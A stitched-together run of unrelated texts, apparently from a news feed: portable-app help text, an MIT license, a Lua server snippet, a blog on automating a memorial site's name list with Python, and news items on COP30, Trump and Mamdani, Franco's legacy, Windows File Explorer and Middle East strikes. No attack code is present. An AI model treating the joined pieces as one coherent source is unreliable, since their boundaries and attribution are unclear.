Retains app window on screen at all times, and any sub windows or dialogs within the app. Any attempt to drag the app out-of-range triggers an automatic position correction - a passive system that continuously checks the window position and monitor size. Supports both single and multi-monitor modes.
Show Splash:
Displays an informative/artistic splash screen on app startup. Unselect to disable.
Realtime Help:
Scrolls control-centric help across the top of the current window, dialog, or menu. Hover mouse cursor over / tap finger on a control for related help.
Hints:
Hover mouse over / tap finger on a control to display help related information in a popup bubble
Touch:
Comfortably enlarge controls and menus for touch access (finger taps)
Double Clicks:
Some options work best with a double click / tap for confirmation. This option supports the traditional double click mode. For example, navigating a disk drive using a double click / tap to switch between folders.
On Top:
Set the app above all other apps and windows
Economy:
Normal app operation can use a lot of paint cycles and CPU power, especially if it's rendering graphics and effects continuously on the screen. Economy mode throttles back this usage during periods of extended idleness, e.g. when there is no direct app keyboard input, or indirect mouse cursor movement or finger taps. For more specific information refer to the topic "Economy mode".
32bit Graphics:
Not noticeable on today's powerful computers with their 32 bit monitors and video cards, it however can deliver a small performance improvement on older computers running 24 bit graphics
Frame Maximised:
Show the app's frame whilst maximised. The frame is always hidden whilst in fullscreen mode.
Safe Background:
An optional static or animated background scheme can be set, which renders an image beneath the GUI. If this image is too bold / strong the GUI can be hard to view / use. By default this option limits the background strength to a safe maximum level of 100. Unselect this option to permit the full range of background strength (0-255). If the GUI becomes hard to use or unreadable, press the "F2" key at anytime to restore the app's default settings.
Multi-Monitor:
Permit the app to span the full range of attached monitors when maximised or in fullscreen mode. By default the app spans the current monitor only.
Center Title:
Position the name of the app in the center of the app's window header
Toolbar Alignment:
Align the content of all participating toolbars to the left, center, or to the right
Color Contrast:
Color coordinate important system settings and options into color specific input panels for rapid visual identification
Monochromatic Images:
Use high-contrast, color-adaptive, monochromatic tool images on the app's GUI
Highlight Above:
Retain highlight areas and other important GUI zones whilst a background scheme is in use
Brightness:
Adjust the brightness of the entire app, from 60 being the darkest right up to 130 being the brightest. Any change takes affect immediately. The default brightness is 100.
Unfocused Opacity:
Renders the app translucent upon loosing focus - e.g. when another app is in use. Available range is 30 almost invisible, through to 255 fully visible. Default value is 255. This feature requires support of a modern operating system and is therefore not supported by Windows 95/98 etc.
Speed:
The speed by which to transition the app from a focused state to a non-focused state or vice-versa. Speed range is 1-10, where 1 is the slowest and 10 the fastest.
Focused Opacity:
Renders the app translucent upon gaining focus - e.g. when the user interacts with it. Available range is 50 almost invisible, through to 255 fully visible. Default value is 255. As above, this feature requires support of a modern operating system and is therefore not supported by Windows 95/98 etc.
Cursor:
Change the default cursor to one of the built-in cursors, each of which scale from small to large, according to the current size set by the operating system. A range of static colors are available: Red, Orange, Pink, Yellow, Purple, Aqua, Blue, Green, Grey, Black, White, along with Default and Custom.
In addition, two dynamically colored cursors are included: "Adaptive - Hover" and "Adaptive - Title". These special cursors acquire their color from the current color scheme. Any change to the color scheme is reflected in the color of the cursor.
The custom cursor option supports both static cursors ".cur" and animated cursor ".ani" file formats. To use, select the "Custom" option. The cursor will update if previously customised. To change the cursor, click the option again and select a cursor from file using the Open dialog.
Frame Sparkle:
Applies a random texture to the app's frame. Select a value from 0 (off) to 20 (bold).
Frame Size:
Adjust the app's frame size (width in pixels) from 0 (none) to 72 (wide). The default frame size is typically 7.
Scrollbar Size:
Set the width and/or height of the app's scrollbars. A value of 5 (thin/short) to 72 (wide/tall) is supported.
Wine Compatibility:
Wine is basically a large computer instruction conversion app, which allows an app designed for Microsoft Windows to execute its instructions "run" on another operating system, such as a Mac or Linux. Because Wine does not emulate / bridge any logic gaps and only translates an app's instructions, the underlying computer hardware must match that used by Microsoft Windows - namely Intel and AMD64.
A notable exception to this requirement is the modern-day Mac, e.g. Mac Mini, which runs an Intel emulator under the hood. This allows a Microsoft Windows app to run by the following sequence: App to Wine to Intel emulator to Apple hardware. Incredibly, this appears to be a very effective and rather efficient strategy, especially for our lightweight apps.
Although Wine's functionality is both wide and impressive, there is some functionality that falls short of Windows. The Wine Compatibility option compensates where possible for important shortcomings, such as volume handling, and allows the app to maintain functionality.
The default option is automatic and detects the presence of Wine based on the existence of drive "Z:\". For more information on Wine refer to their website
www.winehq.org
.
Restore Defaults:
Easily reset the app's system settings, such as color, font size, zoom level etc to their defaults. Click the "Restore Defaults..." button at the bottom-right of the Options window or press the "F2" key at any time in the app to display the "Restore Defaults" confirmation prompt. Confirm your intention to reset and then click the "Restore Defaults" button. The app will reset to default values.
An app typically has settings in addition to these which are not restored / reset. Instead, they should be adjusted via the app itself as required.
⏶
On Top - Position app above other apps and windows
Click the app menu button
(top right) and tick "On Top" option. Alternatively, click "Options > Settings" and select "Display > On Top" option.
⏶
Don't show the splash screen on app start
By default the splash screen is displayed with a momentarily pause on startup. This can be switched off by going to "Options > Settings" and deselecting the "Display > Show Splash" option.
⏶
Where is my app? / Show the app folder
Because this app is portable, you might not remember / know where it is located on your hard disk or usb pen stick. To access its folder, click the app menu button
(top right) and select "
Show App Folder". An explorer window will display with the app's binary (*.exe) and storage folder listed alongside.
⏶
Economy mode
Running an app at full speed when it's not being used can be a bit wasteful, and may prematurely drain the batteries on your laptop or tablet. Select this option to automatically throttle back battery / power consumption and CPU / graphic loads after a short idle period of 10 minutes. At which point the app will reduce its paint cycles down to 2 fps at a maximum. And a further reduction at 30 minutes to 1 fps.
Internal processing loads will typically be reduced also, lowering the demand on your CPU and batteries further.
A single stroke of the keyboard directed at the app, or a global mouse click, or tap of the finger will instantly disengage the current economy state and return the app back to full operation.
To enable, click "Options > Settings" and select "Display > Economy" option.
⏶
Some technical limitations of this app
The Gossamer Code Foundation - our 4th generation codebase - which powers this app has been engineered with care and patience to a high level of quality and reliability.
As our code is rather unique and almost entirely custom built, there are some technical limitations which make our apps incompatible with some extended features of modern operating systems.
These limitations mainly concern the use of UTF-8 and UTF-16 encoding of text, and more specifically filenames. At this stage the app works with the legacy Windows-1252 character encoding for both text processing and filenames. The app is therefore unable to handle foreign language text, or load and save files with special, foreign, or emoji characters in their filenames. All text and filenames are restricted to english ASCII characters in the Windows-1252 encoding standard.
In addition, some options and minor operations may not work as expected, or at all on operating systems other than Microsoft Windows. Though an enormous amount of time and effort has gone into harmonising the look and feel, behaviour and reliability of the app across multiple flavours of Microsoft Windows, Linux, and Mac operating systems, it is not always possible to catch every failure point, or in some rare cases make it work properly, though we always endeavor to do our best.
A side note, our codebase is still running well as 32 bit code in 2025. Yes, 32 bit! Some might see this as a limitation, but we see it as a flexible, inexpensive, and widely adopted execution pathway with support for many platforms and reuse / life extension of older equipment.
⏶
What makes a portable app special?
A portable app is a big leap forward for apps in general. A standard or traditionally engineered app requires a lot of support in the form of libraries, data files, images, scripts, etc and the list goes on. You get the picture. Some portable apps out there still include this bundle of bits, they merely offload it into a local folder. A dump of goodies of sorts.
We tend to see a portable app in quite a different light. Our vision of a portable app is designed tight, clean, free of bloat, and all data where possible is included directly within, structured right into the fabric of the app itself, and designed from the bare-metal up if required.
Though the most important difference between a traditional app and a portable app is that a portable app will not install on your computer. This is extremely important as the installation process is often messy, and can clutter up your computer by dumping a lot of stuff all over the Windows file structure and registry, and over time may slow down and decrease the overall performance of your computer.
A portable app will not do this, which keeps your computer clean and running smooth and fast as it should. Unfortunately most software is not designed with portable in mind. They're more akin to a large leaky box of bits than tight engineering. And because a portable app is not installed on your computer, it runs outside the normal scope of the operating system, and is not locked down or tied to it. And thus can be moved about, from disk to disk, or computer to computer.
Typically a portable app will reside on a USB pen stick, removable media, or in a special folder on a portable hard disk. This makes it easy to take from one computer to the next, and use over and over. An immensely valuable freedom, and something an installed app can only dream of.
But a serious technical hurdle must be overcome for a truly portable app to be free. And that is the humble setting. Yes, a portable app must be able to handle it's settings on it's own. It must be able to read them from disk, filter them, check and correct them where required, and write them back to disk. All without the help of the Windows' registry or other operating system dependent structures.
An installed app typically can't or won't do this. Instead, it relies on Windows and the registry to manage it's settings and other important data sets for it. It therefore takes a higher degree of technical competence to escape this "tied to the operating system" situation.
Here is our current standard for a portable app:
Require no installation or setup
Require no additional DLL libraries to run and perform it's core function
Make no alteration to the host operating system, or its settings, files, libraries or core functions, or the Windows registry, unless it forms a part or a whole of the app's core function, and then, only when initiated by the user
Be able to run "out of the box"
Require no compiling, conversion, installation or setup of support structures in order to execute, except for when such an environment constitutes an execution enabling environment, such as a command translation service like Wine
Be free of zipped or otherwise externally bundled blob structures containing folders, files and bits
Operate on less powerful hardware to facilitate operation on a broad spectrum of computers
Less demanding API landscape to facilitate execution on a broad range of operating systems and software translation environments
Require no special software libraries be present in order to run, such as .NET or JAVA, unless typically pre-installed on the target operating system or execution environment
Not require an internet connection to run, unless the connection is required to fulfill the app's core function, such as a web server
Require no downloads, addons, or registration in order to run
Provide help and documentation offline via a built-in viewer, or by limited external means, such as Notepad
Be self-contained with all necessary files, data sets, and samples stored within it's internal structure, such that access be provided preferably through direct enabling mechanisms
Store, hold and manage external app settings and user data in a local sub-folder, and that sub-folder be easily identifiable as belonging to the app
Provide a mostly consistent appearance and experience to the user across the widest possible range of operating systems and execution environments
Value backwards compatibility, and be able to actively make use of that older hardware and software
Possess a compact, bloat-free footprint
⏶
How to remove the app and what you should do first
Make sure any app related data that is precious to you is backed up before you delete.
As a portable app does not install itself on your computer there will be no automatic uninstall option listed in Windows. The app must be removed manually. But this is not difficult.
First, ensure the options below are unselected before proceeding. Click "Options > Settings" and deselect:
1. Start button link
2. Desktop link
3. Automatic Startup link
If these links are not removed they may linger due to the oddities of some versions of Windows and it's often complex nature and protocols.
If this app is administered by a 3rd party system then that system should be used now to remove this app. If not, then click the app menu button "
" (top right) and select "
Show App Folder". An explorer window will display with the app's executable (*.exe) and storage folder listed.
Make sure any data precious to you has been backed up or moved out of the app's storage folder before proceeding. When you're ready, close the app and right click on it's EXE "<app name>.exe" and select the Delete option. If a prompt appears, confirm your intention to delete. Repeat for the storage folder.
The app is now removed from your computer, USB pen stick, or hard disk.
⏶
Help my app doesn't look right what should I do?
If for some reason your app doesn't appear right, or you think you've turned on or off some important system setting but you're not sure which one or where, not too worry, you can restore the app's default settings in two easy steps.
Step 1:
From anywhere in the app press the "F2" key to display the "Restore Defaults" confirmation window.
Step 2:
When you're sure you're ready to proceed, click the "Restore Defaults" button. The app will reset, restoring all key system settings to their safe defaults, this includes color, font size, zoom level etc.
If you don't have a keyboard, or the "F2" key is not available / difficult to access, you can click the "Options" link from the top toolbar to display the options window, then click the "Restore Defaults..." button (bottom right of window), and lastly confirm by pressing the "Restore Defaults" button. The app will reset / restore defaults.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-- Create a new server
local server = require("http").server.new()
-- Register a route
server:get("/", function()
return "hello from default Astra instance!"
end)
-- You can also use the local variables within routes
local counter = 0
server:get("/count", function(request, response)
-- consume the request body
print(request:body():text())
-- set header code (Optional)
response:set_status_code(300)
-- set headers (Optional)
response:set_header("header-key", "header-value")
counter = counter + 1
-- and also can return JSON
return { counter = counter }
end)
-- Configure the server
server.port = 3000
-- Run the server
server:run()
Climate Deal Excludes Fossil Fuel Phaseout as Wealthy Nations Place Burden "On the Backs of the Poor"
Democracy Now!
www.democracynow.org
2025-11-24 13:35:09
Global negotiations at the annual U.N. climate summit ended Saturday in Belém, Brazil, with a watered-down agreement that does not even mention fossil fuels, let alone offer a roadmap to phase out what are the primary contributors to the climate crisis. The COP30 agreement also makes no new commitme...
Global negotiations at the annual U.N. climate summit ended Saturday in Belém, Brazil, with a watered-down agreement that does not even mention fossil fuels, let alone offer a roadmap to phase out what are the primary contributors to the climate crisis. The COP30 agreement also makes no new commitments to halt deforestation and does not address global meat consumption, another major driver of global warming.
“I’m angry at a really weak outcome. I’m angry at the fossil fuel lobbyists roaming the venue freely, while the Indigenous activists [were] met with militarized repression,” says Brandon Wu, director of policy and campaigns at ActionAid
USA
. “I have a special level of incandescent outrage at … the rich, developed countries of the Global North who come in to these conferences, and they act like they’re the heroes, when, in fact, what they’re doing is shifting the burden of a crisis that they caused onto the backs of the poor.”
“The absence of the United States is critical,” adds Jonathan Watts, global environment writer at
The Guardian
. “The United States under Donald Trump is trying to go backwards to the 20th century in a fossil fuel era, whereas a huge part of the rest of the world wants to move forward into something else.”
director of policy and campaigns at ActionAid
USA
.
Please check back later for full transcript.
The original content of this program is licensed under a
Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License
. Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.
November 20th each year is
Transgender Day of Remembrance (TDoR)
.
It is a day when we memorialize those who've been lost to transphobia, through violence or suicide.
And each year, I make the most difficult git commit of the year, updating the list of names in the
digital vigil
that I made a few years ago.
I was late doing it this year, and I did it on November 20th last year.
Ideally, it would be done early.
I keep procrastinating it, because it's tough emotional work.
Next year, I want it to be
early
, so... how do I actually get myself to
do
that?
The solution is either more therapy or more automation.
So naturally, I decided on the automation!
(Don't worry, I have a therapist that I love.)
We'll need to solve two main problems: updating the lists of names, and deploying it on a schedule.
Updating the names
The digital vigil is a static site, and we need to know all the names when it's built.
All the names are stored in a couple of arrays of strings in a Rust file
[1]
.
We'll want to update that file, which means we get to do codegen, baby!
Let's tackle
getting
the names first.
An authoritative source of names for TDoR vigils is the website
Trans Lives Matter
.
This is where I download the report from each year for manual updates.
It's a great source of data, and I'm only using a fraction of what is there.
I decided to write a Python script to pull the data.
I got partway through the script using the same endpoint the human-consumable webpage offers for a download, when I realized it gives me a
zip file
.
After opening a few too many tabs, I remembered: there's an API for this!
Of course there's an API, and like all principal engineers working on their hobby projects, I didn't remember to check the obvious things first
[2]
.
After switching to the API, I got JSON directly, and the data was super easy to retrieve.
Here's what that looks like.
api_key = os.environ.get("TDOR_API_KEY")
def get_report(year, country="all"):
"""Retrieves the data for a given year's vigil.
This will request the data from September 30 of the previous year through
October 1 of the requested year.
Params:
- year: (int) what year's vigil the data is for
- country: (str) scope of the data; default="all"
"""
from_date = f"{year-1}-10-01"
to_date = f"{year}-09-30"
headers = { "User-Agent": "tdor-digital-vigil-bot" }
path = f"/api/v1/reports/?key={api_key}&from={from_date}&to={to_date}&country={country}&category=&filter="
conn = http.client.HTTPSConnection("tdor.translivesmatter.info")
conn.request("GET", path, None, headers)
resp = conn.getresponse()
if resp.status != 200:
print(f"Error: expected 200, got {resp.status} ({resp.reason})")
exit(1)
body = resp.read()
data = json.loads(body)
return data
The next portion is fun and straightforward: turning this into some Rust code!
"Codegen" can make it sound fancy, but for a lot of problems like this, codegen can be really simple.
In this case, we just have a file that has two static arrays in it.
The code generation is really easy: iterate through our list of names, but bracket them with lines that start and end our declarations.
It looks like this.
usa_data = get_report(2025, "usa")
all_data = get_report(2025, "all")
with open("src/names.rs", "w+") as f:
all_names = [r["name"] for r in all_data["data"]["reports"]]
usa_names = [r["name"] for r in usa_data["data"]["reports"]]
f.write(f"pub const FULL_NAMES: [&'static str; {len(all_names)}] = [\n")
for name in all_names:
f.write(f" \"{name.replace("\"", "\\\"")}\",\n")
f.write("];\n");
f.write("\n")
f.write(f"pub const US_NAMES: [&'static str; {len(usa_names)}] = [\n")
for name in usa_names:
f.write(f" \"{name.replace("\"", "\\\"")}\",\n")
f.write("];\n");
It worked the first time!
Definitely did
not
take me a few rounds of fixing silly bugs, no, definitely not.
Anyway!
We've got that settled for this year.
Now we need to automate it.
Deploying on a schedule
The first thing I did here was turn to my favorite
simple
automation solutions: Jenkins and Kubernetes.
Of course, where's the fun in thinking about it ourselves?
Let's vibe code it.
I'll fire up Cursor using the latest Claude models and we can roll.
...
Ahahahaha no.
I'm not going to vibe code a single thing, especially not on something so dear to me as this.
And we're not going to use Jenkins or Kubernetes here.
Not that I don't love them (I don't, but that's beside the point), there's just no reason to use them for this.
And here, we don't need much technology at all.
This could definitely be automated, to have deploys happen on a schedule without my involvement.
But... all those systems would be a little fragile, and if you run a deploy once a year, it's going to break.
Then you also need notifications for failures, and notifications for notification failures
[3]
.
That's a lot of complexity for very little effort saved each year.
The problem I have isn't that the build is complicated.
I just run
make build
then
make deploy
.
The problem is that I
forget
.
And how do we solve forgetting?
Reminders.
I'll be reminded next year on October 15th to update the digital vigil.
* * *
Automation can be hard, but I think the
hardest
thing about it is knowing where to strike the balance.
What should you put in the effort for, and what should you just keep doing by hand?
For this problem, part of it benefited from automation code, and the other half from just setting myself reminders.
It is all about reducing friction.
Okay, now I've made the hardest commit of the year, and I've written about it.
I'm steeped in some emotions right now, so I'm going to go hug my wife and have some chocolate.
Take care of yourself, and remember that you are loved.
I
know
I'm a walking stereotype ("oh look, the trans woman loves Rust").
It's not my fault, I'm just that cool.
↩
Look, it's not my fault my brain turns off after hours.
I'm just adhering to the old woodworking maxim: measure once, cut twice.
↩
It's notifications for failures all the way down.
↩
If you're looking to grow more effective as a software engineer, please consider my
coaching services
.
From Affordability to Genocide, Trump-Mamdani Meeting at White House Was Full of Surprises
Democracy Now!
www.democracynow.org
2025-11-24 13:15:32
After months of mutual animosity, President Donald Trump and New York City Mayor-elect Zohran Mamdani met for the first time in a widely anticipated meeting late last week. But after the two discussed Mamdani’s plans to lower the cost of living in New York City, where both men grew up, Trump s...
After months of mutual animosity, President Donald Trump and New York City Mayor-elect Zohran Mamdani met for the first time in a widely anticipated meeting late last week. But after the two discussed Mamdani’s plans to lower the cost of living in New York City, where both men grew up, Trump said that he and Mamdani “agree on a lot more than I would have thought” and promised to work together once Mamdani takes office in January. The newly friendly relationship is likely temporary, but still “remarkable,” says Ross Barkan, who is writing a book about Mamdani’s rapid political rise. “If Trump is less antagonistic towards Mamdani, the idea is to have Trump do as little damage as possible to New York City,” Barkan says of Mamdani’s conciliatory approach to the meeting. “He’s not going to attack. He’s going to try to build coalitions.”
Barkan also comments on the brewing intra-party conflict between the Democratic establishment and the more left-wing Democratic Socialists of America — whose members, including Mamdani, typically run for elected office as Democrats — as well as what Trump’s lack of challenge to Mamdani’s assertion that Israel is committing a genocide in Gaza says about the shifting discourse on Israel-Palestine in the United States.
The original content of this program is licensed under a
Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License
. Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.
50 Years After Franco’s Death: Vindicating Democratic Memory
Portside
portside.org
2025-11-24 13:14:04
50 Years After Franco’s Death: Vindicating Democratic Memory
Kurt Stand
Mon, 11/24/2025 - 08:14
...
“Those who are condemned to repeat the past are not those who do not remember it, but those who do not understand it.”
Daniel Giglioli
This 20th of November marks 50 years since the death of dictator Francisco Franco in Spain. On that day, Franco died in a hospital bed as the head of state of a country he ruled with an iron fist, authoritarian and violent, for 40 years, after winning our Civil War with the help of Hitler and Mussolini. After the war, Franco imposed a fascist and criminal regime that plunged my country into one of the darkest and saddest periods in its history.
And yet, the rise of the far right today calls into question the harshness of the regime that ravaged Spain for four decades. Today we are beginning to hear that Francoism was not so bad, that it was not such a big deal, that it was a soft dictatorship… we are beginning to hear, ever louder, the narcotic whisper of the deniers. A discourse is beginning to take hold that does not exactly defend Francoism, but does present it as a “soft” regime and denies, minimises, or sugarcoats the criminal and systemic nature of Franco’s repression. It is no longer the ranting of “Viva Franco”, arms raised and blue shirts (the shirts of the
Falange
, the Spanish version of Mussolini’s Blackshirts). It is more subtle.
The far right is sowing doubts about the consensus that has been reached until the whisper becomes an ordinary part of the conversation. The dispute over memory is one of its battlegrounds (as it is in Italy, Argentina, Hungary, and Spain), and although until now I understood it as a denial of the criminal past of the fascisms of which they are the heirs, the step further that this reactionary whisper is taking seems to have another intention, which I would summarise as follows:
if it is accepted that a dictatorship was not such a bad thing, the idea of an authoritarian government becomes more socially acceptable.
It’s that simple.
The reactionary moment in the West
One of the founding pillars of fascism in the past, and of the far right today, is the one that links democracy with misgovernment or corruption. Its model is what Viktor Orbán christened (and established) in Hungary, “illiberal democracy”, a euphemism behind which to hide an electoral autocracy. This is where the attack on democratic memory comes in, lest younger generations really know what fascism was, what Francoism was: blurring the memory of what an authoritarian far-right government really means in order to make it more acceptable.
At an event in Athens commemorating the 50th anniversary of the end of dictatorships in Spain, Greece, and Portugal, after hearing about the epic Carnation Revolution that overthrew the Portuguese dictatorship and the turmoil that brought down the Junta of the Colonels in Greece, I was left thinking, and when it was my turn to talk about the Spanish case, I could only begin with: “Well, in Spain, Franco died in his bed,” which made the audience smile. They immediately understood that in Spain there was no revolution, no crisis of the regime. In Spain, the dictator died shrouded in a cloak of silence and fear so thick that it covered up his crimes.
The facts are well known, but for those who minimise the criminal nature of the Franco regime, it is good to remember them, vindicate them, and continue to think about how it was possible:
between 115,000 and 130,000 disappeared; 150,000 murdered; 30,000 stolen children; 2,800 mass graves (the largest, the Valley of the Fallen, holds the remains of more than 30,000 people); 500,000 exiles; up to 300,000 political prisoners at the beginning of the military regime alone. Spain is the second country in the world with the most disappeared people in ditches. All these figures come from Judge Garzón’s investigation, to which we can add those of Javier Rodrigo: 188 concentration camps operated in Spain after the Civil War; and those of Julián Casanova, who estimated that 50,000
Reds
were murdered between 1939 and 1946.
Read that last figure again. In her beautiful and essential essay
El arte de invocar la memoria
(
The Art of Invoking Memory
, 2024), historian Esther López Barceló defines the Franco regime on the basis of that number: “The mass executions of the early years of the dictatorship laid the foundations for the new state.” The numbers of Franco’s repression are only the bloody tip of the iceberg of fear on which the dictatorship was built. It is good to remember this in the country that never judged it.
One country that did was Argentina. Every 24 March, mass marches take place in its cities in memory of the 30,000 people who disappeared during the military dictatorship. Today, Milei, very much in line with the above, reduces the number to 8,000 and downplays one of the bloodiest repressions of the 20th century. “There are 30,000,” shouts the crowd, in a dispute that is not about numbers, but about futures.
In the aforementioned essay by Esther López Barceló, I find a powerful idea that connects different ways of understanding memory. She tells us that while in Buenos Aires, she visited ESMA, one of the worst torture centres in the country of the disappeared: “I knew I was in a sanctuary, in a space still heavy with the air of violence, but I was not fully aware that I was in an area cordoned off by forensic scientists: the scene of a crime that was and continues to be under judicial investigation. Don’t blame me. ‘I come from the anomaly,’ I should have told them. Spain, the scene of the perfect crime. The one that has been hidden from us until we ignored it. Until we believed that it didn’t happen. That it never happened. I come from the country of the crime that didn’t happen.”
Because we know that it did, we know what happened, and we even have a Memory Law, and yet… in the Puerta del Sol (our ESMA), there is not a single sign of the torture, not even a plaque under the window where we all know that Julián Grimau, the communist leader murdered by the regime, was thrown.
Invoking the memory that breaks them
To
break the narrative that links Franco’s regime to a soft dictatorship
, it is essential to talk about democratic memory, to recognise the fear imposed by mass graves. And the truth is that what really breaks them, what dismantles the reactionary whisper of “it wasn’t such a bad dictatorship”, is to do so from a place that questions them, that points them out, that tells them from the present that this wound still hurts us and that it is on this wound that we want to build a future where this will never happen again.
Years ago, David Becerra dazzled me in his study
The Civil War as Literary Fashion
(2015) with one of his discoveries: he denounces that for years the Civil War and Francoism have been recounted or novelised in an ahistorical way, that is, narrated from a present where the conflict is happily resolved, without a common thread, as if it had nothing to do with the conflicts of the present. As if the past and memory had no direct relationship with today and, more importantly, with our ability to project futures.
A memory for the future
“We have to learn to build a memory of resistance,” says Enzo Traverso, always lucid, and to do so, I think, we must bring the defeated out of “that perfect crime that was the repression of Francoism”, to use López Barceló’s apt words.
Using education as a tool for the future, because, as the phrase with which I begin this article strikes home, a generation that does not know, that is unaware, is doomed to repeat history. The far right disputes memory in order to open up the possibility of authoritarian government on the horizon of expectations. So let us continue to dispute the memory of resistance from the present so that our horizon is built from a different place: the idea that fascism will never return, ever again.
Marga Ferré is President of transform! europe and Co-President of The Foundation for Critical Studies / Fundación de Estudios Críticos FEC (Formerly Foundation for a Citizens’ Europe / Fundación por la Europa de los Ciudadanos), Spain.
transform! europe is a network of 38 European organisations from 22 countries, active in the field of political education and critical scientific analysis, and is the recognised political foundation corresponding to the Party of the European Left (EL). This cooperative project of independent non-profit organisations, institutes, foundations, and individuals intends to use its work in contributing to peaceful relations among peoples and a transformation of the present world.
Microsoft tests File Explorer preloading for faster performance
Bleeping Computer
www.bleepingcomputer.com
2025-11-24 13:08:08
Microsoft is testing a new optional feature that preloads File Explorer in the background to improve launch times on Windows 11 systems. [...]...
Microsoft is testing a new optional feature that preloads File Explorer in the background to improve launch times and performance on Windows 11 systems.
According to Microsoft, the app will load automatically once the feature is toggled on without visible changes to users, who should only notice faster File Explorer launches when accessing files and folders.
However, this is an optional feature, and those who prefer to disable preloading can uncheck "Enable window preloading for faster launch times" in File Explorer's Folder Options under the View tab.
"We're exploring preloading File Explorer in the background to help improve File Explorer launch performance," the
Windows Insider Program Team said
.
"Looking forward to your feedback! If you do encounter any issues, please file them in the Feedback Hub under Files Folders and Online Storage > File Explorer Performance, or Files Folders and Online Storage > File Explorer."
These File Explorer speed and performance improvements follow the May 2025 rollout of
Startup Boost
, a similar optional feature for Office applications that launches a Windows scheduled task automatically in the background during system logon to help Office apps load faster.
The feature preloads apps in a paused state until the app enhancements, keeping them paused until launched or removed from memory to reclaim resources.
Context menu updates
Microsoft is also updating the File Explorer context menu to reduce clutter while maintaining easy access to less frequently used actions by reorganizing menu items into groups of similar tasks.
File Explorer context menu (Microsoft)
For instance, actions such as 'Compress to ZIP file,' 'Copy as Path,' 'Set as Desktop Background,' and image rotation options have been moved to a new "Manage file" flyout menu.
Additionally, cloud provider options such as 'Always Keep on this Device' and 'Free Up Space' now appear within their respective cloud provider flyouts, alongside the Send to My Phone option. The Open Folder Location command has also been repositioned next to 'Open' and 'Open with' for better grouping.
Microsoft also noted that the 'Manage file' label may change in future updates based on user feedback submitted through the Feedback Hub under Desktop Environment > Right-Click Context Menu.
These features are now rolling out to Windows Insiders in the Dev and Beta channels running Windows 11 25H2 who have installed the 26220.7271 (KB5070307) preview build.
As MCP (Model Context Protocol) becomes the standard for connecting LLMs to tools and data, security teams are moving fast to keep these new services safe.
This free cheat sheet outlines 7 best practices you can start using today.
Headlines for November 24, 2025
Democracy Now!
www.democracynow.org
2025-11-24 13:00:00
Israeli Airstrikes Kill at Least 24 Palestinians Despite U.S.-Brokered Ceasefire, Israeli Airstrike on a Beirut Suburb Kills 5 People, Including Hezbollah’s Acting Chief of Staff, Trump Admin Set to Designate Maduro and His Gov’t Allies as Members of a Foreign Terrorist Organization, U.S...
Israeli Airstrikes Kill at Least 24 Palestinians Despite U.S.-Brokered Ceasefire
Nov 24, 2025
Funerals are being held in Gaza today after Israeli airstrikes killed at least 24 people on Saturday, despite the U.S.-brokered ceasefire that began on October 10. Gaza’s Government Media Office says Israel has violated the truce nearly 500 times in 44 days. Meanwhile,
UNICEF
reports that Israel has killed two children every day during the ceasefire. At least 67 children have been killed in Gaza in recent weeks. This is Ahmed Abu Shaweesh, whose relatives were killed in Israeli airstrikes over the weekend.
Ahmed Abu Shaweesh
: “What’s the reason? Nobody knows. Aren’t we supposed to be in a truce? We’re looking at the house. We’ve been trying to forget this scene for a month. We’re starting to go back to our normal life. How are we supposed to go back to normal life? We are back to martyrs, back to destruction, back to injuries. What’s the reason? We’re confused. No one knows.”
Israeli Airstrike on a Beirut Suburb Kills 5 People, Including Hezbollah’s Acting Chief of Staff
Nov 24, 2025
In Lebanon, an Israeli airstrike on a Beirut suburb on Sunday killed five people and wounded 28, according to the Lebanese Health Ministry. Israel claims that it assassinated Hezbollah’s acting chief of staff. The attack comes despite a U.S.-brokered ceasefire between Hezbollah and Israel went into effect last year.
Ali Ammar
: “There was a ceasefire under international auspices, led primarily by the United States of America. Since then, and since the announcement of the agreement and the halt of military operations, the Israeli enemy has remained persistent and addicted to continuing its aggression, targeting buildings, people and civilians. And you know that this area is a civilian area.”
Trump Admin Set to Designate Maduro and His Gov’t Allies as Members of a Foreign Terrorist Organization
Nov 24, 2025
The U.S.’s top military officer will visit Puerto Rico today as a U.S. Navy warship dispatches to the Caribbean. The visit by General Dan Caine, the chair of the Joint Chiefs of Staff, comes as the Trump administration is set to formally designate Venezuelan President Nicolás Maduro and his government allies as members of a foreign terrorist organization, “Cártel de los Soles.” The entity is not actually a cartel and is instead a reference to military officers and officials allegedly involved in corruption and other illegal activities in Venezuela. Reuters is reporting that the U.S. is also considering a new phase of covert operations in Venezuela. It would be a major escalation after U.S. airstrikes on alleged drug boats in recent weeks have killed more than 80 people. Meanwhile, six airlines have canceled their flights to Venezuela, after the Federal Aviation Administration warned of a “worsening security situation” and “heightened military activity” in the region.
U.S., Ukrainian and European Officials in Geneva to Discuss U.S. Proposal to End Russia’s War on Ukraine
Nov 24, 2025
U.S., Ukrainian and European officials are meeting in Geneva to discuss the U.S. proposal to end Russia’s war on Ukraine. The 28-point plan was negotiated by U.S. and Russian officials without the involvement of Ukraine. Reuters reports European negotiators submitted a modified version of the plan that reverses some of the proposed limits to the size of Ukraine’s military, as well as some territorial concessions. On Sunday Ukrainian President Volodymyr Zelensky once again praised the United States and President Trump, after Trump wrote on social media, ”
UKRAINE
'
LEADERSHIP
'
HAS
EXPRESSED
ZERO
GRATITUDE
FOR
OUR
EFFORTS
